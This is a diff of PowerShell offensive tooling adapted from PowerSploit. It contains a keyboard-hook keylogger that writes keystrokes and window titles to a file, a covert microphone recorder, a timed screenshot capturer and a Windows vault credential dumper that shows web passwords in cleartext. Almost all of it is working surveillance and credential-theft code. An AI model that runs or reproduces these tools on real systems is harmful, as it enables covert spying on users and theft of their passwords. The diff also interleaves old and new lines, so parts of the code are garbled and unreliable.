[IntPtr]$wParam,
|
||||
|
||||
#check for capslock
|
||||
if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}
|
||||
[Parameter()]
|
||||
[IntPtr]$lParam
|
||||
)
|
||||
|
||||
$MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
|
||||
$KeyboardState = New-Object Byte[] 256
|
||||
$CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)
|
||||
$Keys = [Windows.Forms.Keys]
|
||||
|
||||
$MsgType = $wParam.ToInt32()
|
||||
|
||||
#create a stringbuilder object
|
||||
$StringBuilder = New-Object -TypeName System.Text.StringBuilder;
|
||||
$UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)
|
||||
# Process WM_KEYDOWN & WM_SYSKEYDOWN messages
|
||||
if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
|
||||
|
||||
$hWindow = $GetForegroundWindow.Invoke()
|
||||
|
||||
#convert typed characters
|
||||
if ($UnicodeKey -gt 0) {
|
||||
$TypedCharacter = $StringBuilder.ToString()
|
||||
$LogOutput += ('['+ $TypedCharacter +']')
|
||||
}
|
||||
$ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey)
|
||||
if (($ShiftState -band 0x8000) -eq 0x8000) { $Shift = $true }
|
||||
else { $Shift = $false }
|
||||
|
||||
#get the title of the foreground window
|
||||
$TopWindow = $ImportDll::GetForegroundWindow()
|
||||
$WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
|
||||
$Caps = [Console]::CapsLock
|
||||
|
||||
#get the current DTG
|
||||
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
|
||||
|
||||
#Create a custom object to store results
|
||||
$ObjectProperties = @{'Key Typed' = $LogOutput;
|
||||
'Time' = $TimeStamp;
|
||||
'Window Title' = $WindowTitle}
|
||||
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
||||
|
||||
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
|
||||
$CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
|
||||
|
||||
#return results
|
||||
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
|
||||
# Read virtual-key from buffer
|
||||
$vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)
|
||||
|
||||
# Parse virtual-key
|
||||
if ($vKey -gt 64 -and $vKey -lt 91) { # Alphabet characters
|
||||
if ($Shift -xor $Caps) { $Key = $vKey.ToString() }
|
||||
else { $Key = $vKey.ToString().ToLower() }
|
||||
}
|
||||
elseif ($vKey -ge 96 -and $vKey -le 111) { # Number pad characters
|
||||
switch ($vKey.value__) {
|
||||
96 { $Key = '0' }
|
||||
97 { $Key = '1' }
|
||||
98 { $Key = '2' }
|
||||
99 { $Key = '3' }
|
||||
100 { $Key = '4' }
|
||||
101 { $Key = '5' }
|
||||
102 { $Key = '6' }
|
||||
103 { $Key = '7' }
|
||||
104 { $Key = '8' }
|
||||
105 { $Key = '9' }
|
||||
106 { $Key = "*" }
|
||||
107 { $Key = "+" }
|
||||
108 { $Key = "|" }
|
||||
109 { $Key = "-" }
|
||||
110 { $Key = "." }
|
||||
111 { $Key = "/" }
|
||||
}
|
||||
}
|
||||
elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) {
|
||||
if ($Shift) {
|
||||
switch ($vKey.value__) { # Shiftable characters
|
||||
48 { $Key = ')' }
|
||||
49 { $Key = '!' }
|
||||
50 { $Key = '@' }
|
||||
51 { $Key = '#' }
|
||||
52 { $Key = '$' }
|
||||
53 { $Key = '%' }
|
||||
54 { $Key = '^' }
|
||||
55 { $Key = '&' }
|
||||
56 { $Key = '*' }
|
||||
57 { $Key = '(' }
|
||||
186 { $Key = ':' }
|
||||
187 { $Key = '+' }
|
||||
188 { $Key = '<' }
|
||||
189 { $Key = '_' }
|
||||
190 { $Key = '>' }
|
||||
191 { $Key = '?' }
|
||||
192 { $Key = '~' }
|
||||
219 { $Key = '{' }
|
||||
220 { $Key = '|' }
|
||||
221 { $Key = '}' }
|
||||
222 { $Key = '<Double Quotes>' }
|
||||
}
|
||||
}
|
||||
else {
|
||||
switch ($vKey.value__) {
|
||||
48 { $Key = '0' }
|
||||
49 { $Key = '1' }
|
||||
50 { $Key = '2' }
|
||||
51 { $Key = '3' }
|
||||
52 { $Key = '4' }
|
||||
53 { $Key = '5' }
|
||||
54 { $Key = '6' }
|
||||
55 { $Key = '7' }
|
||||
56 { $Key = '8' }
|
||||
57 { $Key = '9' }
|
||||
186 { $Key = ';' }
|
||||
187 { $Key = '=' }
|
||||
188 { $Key = ',' }
|
||||
189 { $Key = '-' }
|
||||
190 { $Key = '.' }
|
||||
191 { $Key = '/' }
|
||||
192 { $Key = '`' }
|
||||
219 { $Key = '[' }
|
||||
220 { $Key = '\' }
|
||||
221 { $Key = ']' }
|
||||
222 { $Key = '<Single Quote>' }
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {}
|
||||
else {
|
||||
switch ($vKey) {
|
||||
$Keys::F1 { $Key = '<F1>' }
|
||||
$Keys::F2 { $Key = '<F2>' }
|
||||
$Keys::F3 { $Key = '<F3>' }
|
||||
$Keys::F4 { $Key = '<F4>' }
|
||||
$Keys::F5 { $Key = '<F5>' }
|
||||
$Keys::F6 { $Key = '<F6>' }
|
||||
$Keys::F7 { $Key = '<F7>' }
|
||||
$Keys::F8 { $Key = '<F8>' }
|
||||
$Keys::F9 { $Key = '<F9>' }
|
||||
$Keys::F10 { $Key = '<F10>' }
|
||||
$Keys::F11 { $Key = '<F11>' }
|
||||
$Keys::F12 { $Key = '<F12>' }
|
||||
|
||||
$Keys::Snapshot { $Key = '<Print Screen>' }
|
||||
$Keys::Scroll { $Key = '<Scroll Lock>' }
|
||||
$Keys::Pause { $Key = '<Pause/Break>' }
|
||||
$Keys::Insert { $Key = '<Insert>' }
|
||||
$Keys::Home { $Key = '<Home>' }
|
||||
$Keys::Delete { $Key = '<Delete>' }
|
||||
$Keys::End { $Key = '<End>' }
|
||||
$Keys::Prior { $Key = '<Page Up>' }
|
||||
$Keys::Next { $Key = '<Page Down>' }
|
||||
$Keys::Escape { $Key = '<Esc>' }
|
||||
$Keys::NumLock { $Key = '<Num Lock>' }
|
||||
$Keys::Capital { $Key = '<Caps Lock>' }
|
||||
$Keys::Tab { $Key = '<Tab>' }
|
||||
$Keys::Back { $Key = '<Backspace>' }
|
||||
$Keys::Enter { $Key = '<Enter>' }
|
||||
$Keys::Space { $Key = '< >' }
|
||||
$Keys::Left { $Key = '<Left>' }
|
||||
$Keys::Up { $Key = '<Up>' }
|
||||
$Keys::Right { $Key = '<Right>' }
|
||||
$Keys::Down { $Key = '<Down>' }
|
||||
$Keys::LMenu { $Key = '<Alt>' }
|
||||
$Keys::RMenu { $Key = '<Alt>' }
|
||||
$Keys::LWin { $Key = '<Windows Key>' }
|
||||
$Keys::RWin { $Key = '<Windows Key>' }
|
||||
$Keys::LShiftKey { $Key = '<Shift>' }
|
||||
$Keys::RShiftKey { $Key = '<Shift>' }
|
||||
$Keys::LControlKey { $Key = '<Ctrl>' }
|
||||
$Keys::RControlKey { $Key = '<Ctrl>' }
|
||||
}
|
||||
}
|
||||
|
||||
# Get foreground window's title
|
||||
$Title = New-Object Text.Stringbuilder 256
|
||||
$GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)
|
||||
|
||||
# Define object properties
|
||||
$Props = @{
|
||||
Key = $Key
|
||||
Time = [DateTime]::Now
|
||||
Window = $Title.ToString()
|
||||
}
|
||||
|
||||
$obj = New-Object psobject -Property $Props
|
||||
|
||||
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
|
||||
$CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1]
|
||||
|
||||
#return results
|
||||
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
|
||||
}
|
||||
return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
|
||||
}
|
||||
|
||||
$Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))
|
||||
# Cast scriptblock as LowLevelKeyboardProc callback
|
||||
$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
|
||||
$Callback = $CallbackScript -as $Delegate
|
||||
|
||||
# Get handle to PowerShell for hook
|
||||
$PoshModule = (Get-Process -Id $PID).MainModule.ModuleName
|
||||
$ModuleHandle = $GetModuleHandle.Invoke($PoshModule)
|
||||
|
||||
Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null
|
||||
# Set WM_KEYBOARD_LL hook
|
||||
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
|
||||
|
||||
$Stopwatch = [Diagnostics.Stopwatch]::StartNew()
|
||||
|
||||
if ($PSBoundParameters['CollectionInterval'])
|
||||
{
|
||||
$Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)
|
||||
while ($true) {
|
||||
if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
|
||||
$PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
|
||||
Start-Sleep -Milliseconds 10
|
||||
}
|
||||
|
||||
Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
|
||||
Stop-Job -Name Keylogger
|
||||
Unregister-Event -SourceIdentifier ElapsedAction
|
||||
$Sender.Stop()
|
||||
} | Out-Null
|
||||
$Stopwatch.Stop()
|
||||
|
||||
# Remove the hook
|
||||
$UnhookWindowsHookEx.Invoke($Hook)
|
||||
}
|
||||
|
||||
# Setup KeyLogger's runspace
|
||||
$PowerShell = [PowerShell]::Create()
|
||||
[void]$PowerShell.AddScript($Script)
|
||||
[void]$PowerShell.AddArgument($LogPath)
|
||||
if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }
|
||||
|
||||
# Start KeyLogger
|
||||
[void]$PowerShell.BeginInvoke()
|
||||
|
||||
if ($PassThru.IsPresent) { return $PowerShell }
|
||||
}
|
||||
Executable
+187
@@ -0,0 +1,187 @@
|
||||
function Get-MicrophoneAudio {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Records audio from the microphone and saves to a file on disk
|
||||
Author: Justin Warner (@sixdub)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
All credit for PowerSploit functions belongs to the original author and project contributors. Thanks for the awesomeness! See here for more info:
|
||||
http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
|
||||
https://github.com/PowerShellMafia/PowerSploit
|
||||
|
||||
Thanks to Ed Wilson (Scripting Guy) for the one liner to generate random chars. https://blogs.technet.microsoft.com/heyscriptingguy/2015/11/05/generate-random-letters-with-powershell/
|
||||
|
||||
.DESCRIPTION
|
||||
Get-MicrophoneAudio utilizes the Windows API from winmm.dll to record audio from the microphone and saves the wave file to disk.
|
||||
|
||||
.OUTPUTS
|
||||
Outputs the FileInfo object pointing to the recording which has been saved to disk.
|
||||
|
||||
.PARAMETER Path
|
||||
The location to save the audio
|
||||
|
||||
.PARAMETER Length
|
||||
The length of the audio to record in seconds. Default: 30
|
||||
|
||||
.PARAMETER Alias
|
||||
The alias to use for the WinMM recording. Default: Random 10 Chars
|
||||
|
||||
.EXAMPLE
|
||||
Get-MicrophoneAudio -Path c:\windows\temp\secret.wav -Length 10 -Alias "SECRET"
|
||||
Description
|
||||
-----------
|
||||
Records 10 seconds of audio to the path C:\windows\temp\secret.wav using WinMM alias "secret"
|
||||
#>
|
||||
[OutputType([System.IO.FileInfo])]
|
||||
Param
|
||||
(
|
||||
[Parameter( Position = 0, Mandatory = $True)]
|
||||
[ValidateScript({Split-Path $_ | Test-Path})]
|
||||
[String] $Path,
|
||||
[Parameter( Position = 1, Mandatory = $False)]
|
||||
[Int] $Length = 30,
|
||||
[Parameter( Position = 2, Mandatory = $False)]
|
||||
[String] $Alias = $(-join ((65..90) + (97..122) | Get-Random -Count 10 | % {[char]$_}))
|
||||
|
||||
)
|
||||
|
||||
#Get-DelegateType from PowerSploit
|
||||
function Local:Get-DelegateType
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([Type])]
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void]
|
||||
)
|
||||
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
Write-Output $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
#Get-ProcAddress from PowerSploit
|
||||
function local:Get-ProcAddress
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([IntPtr])]
|
||||
|
||||
[Parameter( Position = 0, Mandatory = $True )]
|
||||
[String]
|
||||
$Module,
|
||||
|
||||
[Parameter( Position = 1, Mandatory = $True )]
|
||||
[String]
|
||||
$Procedure
|
||||
)
|
||||
|
||||
# Get a reference to System.dll in the GAC
|
||||
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
||||
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
||||
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
||||
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
||||
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
||||
# Get a handle to the module specified
|
||||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||
$tmpPtr = New-Object IntPtr
|
||||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||
|
||||
# Return the address of the function
|
||||
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
}
|
||||
|
||||
#Initialize and call LoadLibrary on our required DLL
|
||||
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
|
||||
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
|
||||
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
|
||||
$HND = $null
|
||||
$HND = $LoadLibrary.Invoke('winmm.dll')
|
||||
if ($HND -eq $null)
|
||||
{
|
||||
Throw 'Failed to aquire handle to winmm.dll'
|
||||
}
|
||||
|
||||
#Initialize the function call to count devices
|
||||
$waveInGetNumDevsAddr = $null
|
||||
$waveInGetNumDevsAddr = Get-ProcAddress winmm.dll waveInGetNumDevs
|
||||
$waveInGetNumDevsDelegate = Get-DelegateType @() ([Uint32])
|
||||
if ($waveInGetNumDevsAddr -eq $null)
|
||||
{
|
||||
Throw 'Failed to aquire address to WaveInGetNumDevs'
|
||||
}
|
||||
$waveInGetNumDevs = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($waveInGetNumDevsAddr, $waveInGetNumDevsDelegate)
|
||||
|
||||
#Initilize the function call to record audio
|
||||
$mciSendStringAddr = $null
|
||||
$mciSendStringAddr = Get-ProcAddress winmm.dll mciSendStringA
|
||||
$mciSendStringDelegate = Get-DelegateType @([String],[String],[UInt32],[IntPtr]) ([Uint32])
|
||||
if ($mciSendStringAddr -eq $null)
|
||||
{
|
||||
Throw 'Failed to aquire address to mciSendStringA'
|
||||
}
|
||||
$mciSendString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciSendStringAddr, $mciSendStringDelegate)
|
||||
|
||||
#Initialize the ability to resolve MCI Errors
|
||||
$mciGetErrorStringAddr = $null
|
||||
$mciGetErrorStringAddr = Get-ProcAddress winmm.dll mciGetErrorStringA
|
||||
$mciGetErrorStringDelegate = Get-DelegateType @([UInt32],[Text.StringBuilder],[UInt32]) ([bool])
|
||||
if ($mciGetErrorStringAddr -eq $null)
|
||||
{
|
||||
Throw 'Failed to aquire address to mciGetErrorString'
|
||||
}
|
||||
$mciGetErrorString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciGetErrorStringAddr,$mciGetErrorStringDelegate)
|
||||
|
||||
#Get device count
|
||||
$DeviceCount = $waveInGetNumDevs.Invoke()
|
||||
|
||||
if ($DeviceCount -gt 0)
|
||||
{
|
||||
|
||||
#Define buffer for MCI errors. https://msdn.microsoft.com/en-us/library/windows/desktop/dd757153(v=vs.85).aspx
|
||||
$errmsg = New-Object Text.StringBuilder 150
|
||||
|
||||
#Open an alias
|
||||
$rtnVal = $mciSendString.Invoke("open new Type waveaudio Alias $alias",'',0,0)
|
||||
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
|
||||
|
||||
#Call recording function
|
||||
$rtnVal = $mciSendString.Invoke("record $alias", '', 0, 0)
|
||||
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
|
||||
|
||||
Start-Sleep -s $Length
|
||||
|
||||
#save recorded audio to disk
|
||||
$rtnVal = $mciSendString.Invoke("save $alias `"$path`"", '', 0, 0)
|
||||
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
|
||||
|
||||
#terminate alias
|
||||
$rtnVal = $mciSendString.Invoke("close $alias", '', 0, 0);
|
||||
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
|
||||
|
||||
$OutFile = Get-ChildItem -path $path
|
||||
Write-Output $OutFile
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
Throw 'Failed to enumerate any recording devices'
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
function Get-TimedScreenshot
|
||||
function Get-TimedScreenshot
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
@@ -52,9 +52,25 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed
|
||||
#Define helper function that generates and saves screenshot
|
||||
Function Get-Screenshot {
|
||||
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
|
||||
$ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
|
||||
|
||||
$VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController'
|
||||
|
||||
if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?<ScreenWidth>^\d+) x (?<ScreenHeight>\d+) x .*$') {
|
||||
$Width = [Int] $Matches['ScreenWidth']
|
||||
$Height = [Int] $Matches['ScreenHeight']
|
||||
} else {
|
||||
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
|
||||
|
||||
$Width = $ScreenBounds.Width
|
||||
$Height = $ScreenBounds.Height
|
||||
}
|
||||
|
||||
$Size = New-Object System.Drawing.Size($Width, $Height)
|
||||
$Point = New-Object System.Drawing.Point(0, 0)
|
||||
|
||||
$ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height
|
||||
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
|
||||
$DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
|
||||
$DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size)
|
||||
$DrawingGraphics.Dispose()
|
||||
$ScreenshotObject.Save($FilePath)
|
||||
$ScreenshotObject.Dispose()
|
||||
|
||||
@@ -0,0 +1,399 @@
|
||||
function Get-VaultCredential
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Displays Windows vault credential objects including cleartext web credentials.
|
||||
|
||||
PowerSploit Function: Get-VaultCredential
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-VaultCredential enumerates and displays all credentials stored in the Windows
|
||||
vault. Web credentials, specifically are displayed in cleartext. This script was
|
||||
inspired by the following C implementation: http://www.oxid.it/downloads/vaultdump.txt
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-VaultCredential
|
||||
|
||||
.NOTES
|
||||
|
||||
Only web credentials can be displayed in cleartext.
|
||||
#>
|
||||
[CmdletBinding()] Param()
|
||||
|
||||
$OSVersion = [Environment]::OSVersion.Version
|
||||
|
||||
#region P/Invoke declarations for vaultcli.dll
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil')
|
||||
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VaultUtil', $False)
|
||||
|
||||
$EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_ELEMENT_TYPE', 'Public', [Int32])
|
||||
$null = $EnumBuilder.DefineLiteral('Undefined', -1)
|
||||
$null = $EnumBuilder.DefineLiteral('Boolean', 0)
|
||||
$null = $EnumBuilder.DefineLiteral('Short', 1)
|
||||
$null = $EnumBuilder.DefineLiteral('UnsignedShort', 2)
|
||||
$null = $EnumBuilder.DefineLiteral('Int', 3)
|
||||
$null = $EnumBuilder.DefineLiteral('UnsignedInt', 4)
|
||||
$null = $EnumBuilder.DefineLiteral('Double', 5)
|
||||
$null = $EnumBuilder.DefineLiteral('Guid', 6)
|
||||
$null = $EnumBuilder.DefineLiteral('String', 7)
|
||||
$null = $EnumBuilder.DefineLiteral('ByteArray', 8)
|
||||
$null = $EnumBuilder.DefineLiteral('TimeStamp', 9)
|
||||
$null = $EnumBuilder.DefineLiteral('ProtectedArray', 10)
|
||||
$null = $EnumBuilder.DefineLiteral('Attribute', 11)
|
||||
$null = $EnumBuilder.DefineLiteral('Sid', 12)
|
||||
$null = $EnumBuilder.DefineLiteral('Last', 13)
|
||||
$VAULT_ELEMENT_TYPE = $EnumBuilder.CreateType()
|
||||
|
||||
$EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_SCHEMA_ELEMENT_ID', 'Public', [Int32])
|
||||
$null = $EnumBuilder.DefineLiteral('Illegal', 0)
|
||||
$null = $EnumBuilder.DefineLiteral('Resource', 1)
|
||||
$null = $EnumBuilder.DefineLiteral('Identity', 2)
|
||||
$null = $EnumBuilder.DefineLiteral('Authenticator', 3)
|
||||
$null = $EnumBuilder.DefineLiteral('Tag', 4)
|
||||
$null = $EnumBuilder.DefineLiteral('PackageSid', 5)
|
||||
$null = $EnumBuilder.DefineLiteral('AppStart', 100)
|
||||
$null = $EnumBuilder.DefineLiteral('AppEnd', 10000)
|
||||
$VAULT_SCHEMA_ELEMENT_ID = $EnumBuilder.CreateType()
|
||||
|
||||
$LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind])
|
||||
$CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet')
|
||||
$StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor,
|
||||
@([Runtime.InteropServices.LayoutKind]::Explicit),
|
||||
$CharsetField,
|
||||
@([Runtime.InteropServices.CharSet]::Ansi))
|
||||
$StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
|
||||
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM', $StructAttributes, [Object], [System.Reflection.Emit.PackingSize]::Size4)
|
||||
$null = $TypeBuilder.DefineField('SchemaId', [Guid], 'Public')
|
||||
$null = $TypeBuilder.DefineField('pszCredentialFriendlyName', [IntPtr], 'Public')
|
||||
$null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public')
|
||||
$null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public')
|
||||
$null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public')
|
||||
if ($OSVersion -ge '6.2')
|
||||
{
|
||||
$null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public')
|
||||
}
|
||||
$null = $TypeBuilder.DefineField('LastModified', [UInt64], 'Public')
|
||||
$null = $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public')
|
||||
$null = $TypeBuilder.DefineField('dwPropertiesCount', [UInt32], 'Public')
|
||||
$null = $TypeBuilder.DefineField('pPropertyElements', [IntPtr], 'Public')
|
||||
$VAULT_ITEM = $TypeBuilder.CreateType()
|
||||
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM_ELEMENT', $StructAttributes)
|
||||
$TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute)
|
||||
$null = $TypeBuilder.DefineField('SchemaElementId', $VAULT_SCHEMA_ELEMENT_ID, 'Public').SetOffset(0)
|
||||
$null = $TypeBuilder.DefineField('Type', $VAULT_ELEMENT_TYPE, 'Public').SetOffset(8)
|
||||
$VAULT_ITEM_ELEMENT = $TypeBuilder.CreateType()
|
||||
|
||||
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('VaultLib.Vaultcli', 'Public, Class')
|
||||
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultOpenVault',
|
||||
'vaultcli.dll',
|
||||
'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Int32],
|
||||
[Type[]] @([Guid].MakeByRefType(),
|
||||
[UInt32],
|
||||
[IntPtr].MakeByRefType()),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto)
|
||||
|
||||
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultCloseVault',
|
||||
'vaultcli.dll',
|
||||
'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Int32],
|
||||
[Type[]] @([IntPtr].MakeByRefType()),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto)
|
||||
|
||||
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultFree',
|
||||
'vaultcli.dll',
|
||||
'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Int32],
|
||||
[Type[]] @([IntPtr]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto)
|
||||
|
||||
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateVaults',
|
||||
'vaultcli.dll',
|
||||
'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Int32],
|
||||
[Type[]] @([Int32],
|
||||
[Int32].MakeByRefType(),
|
||||
[IntPtr].MakeByRefType()),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto)
|
||||
|
||||
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateItems',
|
||||
'vaultcli.dll',
|
||||
'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Int32],
|
||||
[Type[]] @([IntPtr],
|
||||
[Int32],
|
||||
[Int32].MakeByRefType(),
|
||||
[IntPtr].MakeByRefType()),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto)
|
||||
|
||||
if ($OSVersion -ge '6.2')
|
||||
{
|
||||
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
|
||||
'vaultcli.dll',
|
||||
'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Int32],
|
||||
[Type[]] @([IntPtr],
|
||||
[Guid].MakeByRefType(),
|
||||
[IntPtr],
|
||||
[IntPtr],
|
||||
[IntPtr],
|
||||
[IntPtr],
|
||||
[Int32],
|
||||
[IntPtr].MakeByRefType()),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto)
|
